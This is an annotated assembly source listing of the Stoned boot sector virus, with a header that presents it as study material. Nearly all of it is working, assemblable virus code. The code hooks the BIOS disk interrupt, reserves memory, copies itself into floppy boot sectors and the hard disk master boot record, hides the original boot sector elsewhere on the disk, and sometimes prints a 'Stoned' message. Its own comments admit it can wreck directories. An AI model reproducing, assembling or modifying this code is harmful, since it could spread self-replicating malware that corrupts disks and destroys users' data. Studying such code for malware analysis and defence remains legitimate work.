TITLE STONBOOT 1-4-80 [5-12-90] PAGE 27,132 ;***************************************************************************** ; ; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus ; ; This file is for the purpose of virus study only! It should not be passed ; around among the general public. It will be very useful for learning ; how viruses work and propagate. But anybody with access to an assembler ; can turn it into a working virus and anybody with a bit of assembly coding ; experience can turn it into a far more malevolent program than it already ; is. Keep this code in reasonable hands! ; ; This is a boot sector virus, and an extremely tiny one. It occupies only a ; single sector. On a diskette, it resides in the boot sector, and on a hard ; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch ; diskette by copying the real boot sector to side 1, track 0, sector 3. This ; is the last sector used by the directory, and is usually not used. If the ; directory ever does expand into this area, then the real boot sector will be ; trashed, and the diskette will no longer be bootable. Once the boot sector ; is copied to the directory area, this code goes into the boot sector space ; at side 0, track 0, sector 1. The system is then transferred to the diskette ; and the diskette contains an activated virus. Once this diskette is used to ; boot up a system, it will become resident and infect other diskettes it ; sees. If the system contains a hard drive, it too will become infected. ; ; This virus does not contain any time bomb, but it can cause loss of data by ; wrecking a directory here or there. ;***************************************************************************** LF EQU 0AH CR EQU 0DH XSEG SEGMENT AT 07C0h ORG 5 NEWSEG LABEL FAR XSEG ENDS CODE SEGMENT ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE ORG 0 ;***************************************************************************** ; Execution begins here as a boot record. This means that its location and ; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only ; a change in CS:IP so that CS is 07C0. The following two JMPs, and the ; segment definition of XSEG above are best not tampered with. ;***************************************************************************** JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it ;The above line will jump to here, with a CS of 07C0 and an IP of 5 JMP JPBOOT ;Jump here at boot up time ;***************************************************************************** ; The following offsets: ; D_TYPE ; O_13_O ; O_13_S ; J_AD_O ; J_AD_S ; BT_ADD ; will be used to access their corresponding variables throughout the code. ; They will vary in different parts of the code, since the code relocates ; itself and the values in the segment registers will change. The actual ; variables are defined with a leading underscore, and should not be used. As ; the segment registers, and the offsets used to access them, change in the ; code, the offsets will be redefined with "=" operators. At each point, the ; particular segment register override needed to access the variables will be ; given. ; ; In this area, the variables should be accessed with the CS: segment override. ;****************************************************************************** D_TYPE = $ ;The type of disk we are booting from _D_TYPE DB 0 OLD_13 EQU $ O_13_O = $ ;Old INT 13 vector offset _O_13_O DW ? O_13_S = $ ;Old INT 13 vector segment _O_13_S DW ? JMP_ADR EQU $ J_AD_O = $ ;Offset of the jump to relocated code _J_AD_O DW OFFSET HI_JMP J_AD_S = $ ;Segment of the jump to the relocated code _J_AD_S DW ? BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector _BT_ADD DW 7C00h ;Boot address segment DW 0000h ;Boot address offset ;********************************************************** ; The INT 13H vector gets hooked to here ;********************************************************** NEW_13: PUSH DS PUSH AX CMP AH,2 JB REAL13 ;Restore regs & do real INT 13H CMP AH,4 JNB REAL13 ;Restore regs & do real INT 13H ;***************************************************************** ; We only get here for service 2 or 3 - Disk read or write ;***************************************************************** OR DL,DL JNZ REAL13 ;Restore regs & do real INT 13H ;***************************************************************** ; And we only get here if it's happening to drive A: ;***************************************************************** XOR AX,AX MOV DS,AX MOV AL,DS:43FH TEST AL,1 ;Check to see if drive motor is on JNZ REAL13 ;Restore regs & do real INT 13H ;****************************************************************** ; We only get here if the drive motor is on. ;****************************************************************** CALL INFECT ;Try to infect the disk ;****************************************************************** ; Restore regs & do real INT 13H ;****************************************************************** REAL13: POP AX POP DS JMP DWORD PTR CS:OLD_13 ;************************************************************** ;*** See if we can infect the disk *** ;************************************************************** INFECT PROC NEAR PUSH BX PUSH CX PUSH DX PUSH ES PUSH SI PUSH DI MOV SI,4 ;We'll try up to 4 times to read it ;*************************************************************** ; Loop to try reading disk sector ;*************************************************************** RDLOOP: MOV AX,201H ;Read one sector... PUSH CS POP ES MOV BX,200H ;...into a space at the end of the code XOR CX,CX MOV DX,CX ;Side 0, drive A INC CX ;Track 0, sector 1 PUSHF CALL DWORD PTR CS:OLD_13 ;Do the old INT 13 JNB RD_OK ;Disk read was OK XOR AX,AX PUSHF CALL DWORD PTR CS:OLD_13 ;Reset disk DEC SI ;Bump the counter JNZ RDLOOP ;Loop to try reading disk sector JMP SHORT QUIT ;Close up and return if all 4 tries failed NOP ;****************************************************************************** ; Here if disk read was OK. We got the boot sector. But is it already infected? ; Find out by comparing the first 4 bytes of the boot sector to the first 4 ; bytes of this code. If they don't match exactly, infect the diskette. ;****************************************************************************** RD_OK: XOR SI,SI MOV DI,200H CLD PUSH CS POP DS LODSW CMP AX,[DI] JNZ HIDEIT ;Hide floppy boot sector in directory LODSW CMP AX,[DI+2] JZ QUIT ;Close up and return ;************************************************************ ; Infect - Hide floppy boot sector in directory ;************************************************************ HIDEIT: MOV AX,301H ;Write 1 sector MOV BX,200H ;From the space at the end of this code MOV CL,3 ;To sector 3 MOV DH,1 ;Side 1 PUSHF CALL DWORD PTR CS:OLD_13 ;Do the old INT 14 JB QUIT ;Close up and return if failed ;****************************************************************** ; If write was sucessful, write this code to the boot sector area ;****************************************************************** MOV AX,301H ;Write 1 sector ... XOR BX,BX ;...of this very code... MOV CL,1 ;...to sector 1... XOR DX,DX ;...of Side 0, drive A PUSHF CALL DWORD PTR CS:OLD_13 ;Do an old INT 13 ; ***NOTE*** no test has been done for a sucessful write. ;*************************************************************** ; Close up and return ;*************************************************************** QUIT: POP DI POP SI POP ES POP DX POP CX POP BX RET INFECT ENDP ;**************************************************************** ;*** Jump here at boot up time ;**************************************************************** ;***************************************************************************** ; Redefine the variable offsets. The code here executes in the memory area ; used by the normal boot sector. The variable offsets have an assembled ; value of the order 7Cxx. Access them here through the DS: segment override ;***************************************************************************** D_TYPE = 07C00h + OFFSET _D_TYPE O_13_O = 07C00h + OFFSET _O_13_O O_13_S = 07C00h + OFFSET _O_13_S J_AD_O = 07C00h + OFFSET _J_AD_O J_AD_S = 07C00h + OFFSET _J_AD_S BT_ADD = 07C00h + OFFSET _BT_ADD JPBOOT: XOR AX,AX MOV DS,AX ;DS = 0 ;********************************************************* ; Set up a usable stack ;********************************************************* CLI MOV SS,AX ;SS = 0 MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00 STI ;********************************************************* ; Capture the INT 13 vector (BIOS disk I/O) ;********************************************************* MOV AX,DS:4CH ;Offset for old INT 13 vector MOV DS:O_13_O,AX ;Save the offset MOV AX,DS:4EH ;Segment for old INT 13 vector MOV DS:O_13_S,AX ;Save the segment ;***************************************************************************** ; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but ; stealing an odd number of K would result in an odd number shown available ; when a CHKDSK is run. This might be too obvious. Or the programmer may have ; had other plans for the memory. ;***************************************************************************** MOV AX,DS:413H ;BIOS' internal count of available memory DEC AX DEC AX ;Drop it by 2K ... MOV DS:413H,AX ;...and store it (steal it!!) ;********************************************************* ; Find the segment of the stolen memory ;********************************************************* MOV CL,6 SHL AX,CL MOV ES,AX ;********************************************************* ; Use the segment of the stolen memory area ;********************************************************* MOV DS:J_AD_S,AX ;Becomes part of a JMP address MOV AX,OFFSET NEW_13 MOV DS:4CH,AX ;Offset for new INT 13 MOV DS:4EH,ES ;Segment for new INT 13 ;**************************************************************** ;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area) ;**************************************************************** MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move) PUSH CS POP DS ;DS = CS XOR SI,SI MOV DI,SI ;All offsets of block move areas are 0 CLD REPZ MOVSB ;Copy each byte of code to the top of memory JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code... ;************************************************************** ; ...and we'll jump right here, to the transferred code ;************************************************************** ;**************************************************************************** ; Redefine variable offsets again. This code executes at the top of memory, ; and so the exact value of the segment registers depends on how much memory ; is installed. The variable offsets have an assembled value of the order of ; 00xx. They are accessed using the CS: segment override ;**************************************************************************** D_TYPE = OFFSET _D_TYPE O_13_O = OFFSET _O_13_O O_13_S = OFFSET _O_13_S J_AD_O = OFFSET _J_AD_O J_AD_S = OFFSET _J_AD_S BT_ADD = OFFSET _BT_ADD HI_JMP: MOV AX,0 INT 13H ;Reset disk system ;********************************************************************** ; This will read one sector into 0000:7C00 (the boot sector address) ;********************************************************************** XOR AX,AX MOV ES,AX MOV AX,201H ;Read one sector MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00 CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive? JZ DISKET ;If booting from a diskette ;****************************************************** ; Booting from a hard drive ;****************************************************** MOV CX,7 ;Track 0, sector 7 MOV DX,80H ;Hard drive, side 0 INT 13H ;Go get it ; ***NOTE** There was no check as to wether or not the read was sucessful JMP SHORT BOOTUP ;Go run the real boot sector we've installed NOP ;****************************************************** ; Booting from a diskette ;****************************************************** DISKET: MOV CX,3 ;Track 0, sector 3 MOV DX,100H ;A drive, side 1 (last sector of the directory) INT 13H ;Go get it JB BOOTUP ;If read error, run it anyway.(???) (A prank?) ;**************************************************************** ;Wether or not we print the "Stoned" message depends on the value ; of a byte in the internal clock time -- a fairly random event. ;**************************************************************** TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time JNZ GETHDB ;Get Hard drive boot sector ;************************************************************** ; Print the message ;************************************************************** MOV SI,OFFSET S_MSG ;Address of the "stoned message" PUSH CS POP DS ;************************************************************** ; Loop to print individual characters ;************************************************************** PRINT1: LODSB OR AL,AL ;A 00 byte means quit the loop JZ GETHDB ;Get Hard drive boot sector, then ;************************************************************** ; Not done looping. Print another character ;************************************************************** MOV AH,0EH MOV BH,0 INT 10H JMP SHORT PRINT1 ;Print a character on screen ;************************************************************** ; Get Hard drive boot sector ;************************************************************** GETHDB: PUSH CS POP ES MOV AX,201H ;Read one sector... MOV BX,200H ;...to the buffer following this code... MOV CL,1 ;...from sector 1... MOV DX,80H ;...side 0, of the hard drive INT 13H JB BOOTUP ;If error, assume no hard drive ; So go run the floppy boot sector ;*************************************************************************** ; If no read error, then there really must be a hard drive. Infect it. The ; following code uses the same trick above where the first 4 bytes of the ; boot sector are compared to the first 4 bytes of this code. If they don't ; match exactly, then this hard drive isn't infected. ;*************************************************************************** PUSH CS POP DS MOV SI,200H MOV DI,0 LODSW CMP AX,[DI] JNZ HIDEHD ;Hide real boot sector in hard drive LODSW CMP AX,[DI+2] JNZ HIDEHD ;Hide real boot sector in hard drive ;************************************************************** ; Go run the real boot sector ;************************************************************** BOOTUP: MOV BYTE PTR CS:D_TYPE,0 JMP DWORD PTR CS:BT_ADD ;************************************************************** ; Infect - Hide real boot sector in hard drive ;************************************************************** HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection MOV AX,301H ;Write i sector... MOV BX,200H ;...from the buffer following this code... MOV CX,7 ;...to track 0, sector 7... MOV DX,80H ;...side 0, of the hard drive... INT 13H ;Do it JB BOOTUP ;Go run the real boot sector if failed ;************************************************** ; Here if the boot sector got written successfully ;*************************************************** PUSH CS POP DS PUSH CS POP ES MOV SI,3BEH ;Offset of disk partition table in the buffer MOV DI,1BEH ;Copy it to the same offset in this code MOV CX,242H ;Strange. Only need to move 42H bytes. This ; won't hurt, and will overwrite the copy of ; the boot sector, maybe giving a bit more ; concealment. REPZ MOVSB ;Move them MOV AX,301H ;Write 1 sector... XOR BX,BX ;...of this code... INC CL ;...into sector 1 INT 13H ; ***NOTE*** no check for a sucessful write JMP BOOTUP ;Now run the real boot sector S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF DB LF ;************************************************************************* ; Just garbage. In one version, this contained an extension of the above ; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain ;************************************************************************* DB 0,4CH,45H,47H,41H DB 4CH,49H,53H,45H,67H DB 2,4,68H,2,68H DB 2,0BH,5,67H,2 END_BYT EQU $ ;Used to determine the size of the code. It ; must be less than 1BE, or this code is too ; large to be used to infect hard disks. From ; offset 1BE and above, the hard disk partition ; table will be copied, and anything placed ; there will get clobbered. CODE ENDS END